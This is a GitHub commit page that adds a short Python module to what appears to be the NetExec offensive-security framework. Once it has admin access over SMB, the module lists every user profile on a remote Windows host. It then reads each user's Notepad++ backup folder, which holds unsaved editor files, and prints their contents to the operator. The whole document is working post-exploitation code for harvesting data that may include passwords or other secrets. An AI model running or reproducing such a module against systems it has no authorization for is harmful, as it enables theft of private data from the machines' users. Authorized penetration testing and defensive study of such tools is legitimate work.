Skip to content

Commit f419884

Browse files
authored
Create Notepad++.py
Signed-off-by: Deft_ <aurelien.chalot@protonmail.com>
1 parent 95ac371 commit f419884

1 file changed

Lines changed: 30 additions & 0 deletions

File tree

nxc/modules/Notepad++.py

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
# Finds Notepad++ unsaved and backed up files
2+
# Module by @Defte_
3+
from io import BytesIO
4+
5+
class NXCModule:
6+
name = "notepad++"
7+
description = "Extracts notepad++ unsaved files."
8+
supported_protocols = ["smb"]
9+
opsec_safe = True
10+
multiple_hosts = True
11+
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
12+
13+
def options(self, context, module_options):
14+
""" """
15+
16+
def on_admin_login(self, context, connection):
17+
for directory in connection.conn.listPath("C$", "Users\\*"):
18+
if directory.get_longname() not in self.false_positive and directory.is_directory() > 0:
19+
try:
20+
for file in connection.conn.listPath("C$", f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\*"):
21+
if file.get_longname() not in self.false_positive:
22+
file_path = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\{file.get_longname()}"
23+
context.log.highlight(f"C:\\{file_path}")
24+
buf = BytesIO()
25+
connection.conn.getFile("C$", file_path, buf.write)
26+
buf.seek(0)
27+
file_content = buf.read().decode("utf-8", errors="ignore")
28+
context.log.highlight(f"\t{file_content}")
29+
except Exception:
30+
pass

0 commit comments

Comments
 (0)